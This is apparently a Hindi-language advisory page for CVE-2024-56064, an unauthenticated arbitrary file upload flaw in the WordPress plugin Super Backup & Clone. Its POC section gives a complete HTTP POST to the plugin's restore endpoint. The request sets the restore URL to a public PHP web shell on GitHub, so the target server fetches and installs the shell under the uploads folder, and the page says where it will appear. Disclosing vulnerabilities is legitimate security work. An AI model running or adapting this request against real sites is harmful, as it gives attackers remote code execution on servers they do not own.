CVE-2024-56064

WP SuperBackup <= 2.3.3 - अनप्रमाणित मनमाना फ़ाइल अपलोड

विवरण

वर्डप्रेस के लिए Super Backup & Clone - Migrate for WordPress प्लगइन, फ़ाइल प्रकार सत्यापन की कमी के कारण 2.3.3 तक के सभी संस्करणों (2.3.3 सहित) में मनमाना फ़ाइल अपलोड के प्रति संवेदनशील है। यह अनप्रमाणित हमलावरों के लिए प्रभावित साइट के सर्वर पर मनमानी फ़ाइलें अपलोड करना संभव बनाता है, जिससे दूरस्थ कोड निष्पादन संभव हो सकता है।

विवरण

प्रकार: प्लगइन
Slug: indeed-wp-superbackup
प्रभावित संस्करण: 2.3.3
CVSS स्कोर: 9.8
CVSS रेटिंग: Critical
CVSS वेक्टर: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE: CVE-2024-56064
स्थिति: Private

POC

शेल प्रकट होने में थोड़ा समय लगता है.... यह /wp-content/uploads/isnapshots/shell.php में दिखाई देगा

POST /wp-admin/admin.php?page=ibk_admin&tab=restore HTTP/1.1
Host: kubernetes.docker.internal:8929
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://kubernetes.docker.internal:8929/wp-admin/admin.php?page=ibk_admin&tab=restore
Content-Type: multipart/form-data; boundary=---------------------------24461452295617717774000608677
Content-Length: 688
Origin: http://kubernetes.docker.internal:8929
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i

-----------------------------24461452295617717774000608677
Content-Disposition: form-data; name="ibk_restore_migrate_action"

1
-----------------------------24461452295617717774000608677
Content-Disposition: form-data; name="restore_type"

restore_url
-----------------------------24461452295617717774000608677
Content-Disposition: form-data; name="restore_url"

https://raw.githubusercontent.com/flozz/p0wny-shell/refs/heads/master/shell.php

-----------------------------24461452295617717774000608677
Content-Disposition: form-data; name="upload_file"; filename=""
Content-Type: application/octet-stream


-----------------------------24461452295617717774000608677--

CVE-2024-56064

सबसे लोकप्रिय

CVE-2024-56064

विवरण

विवरण

POC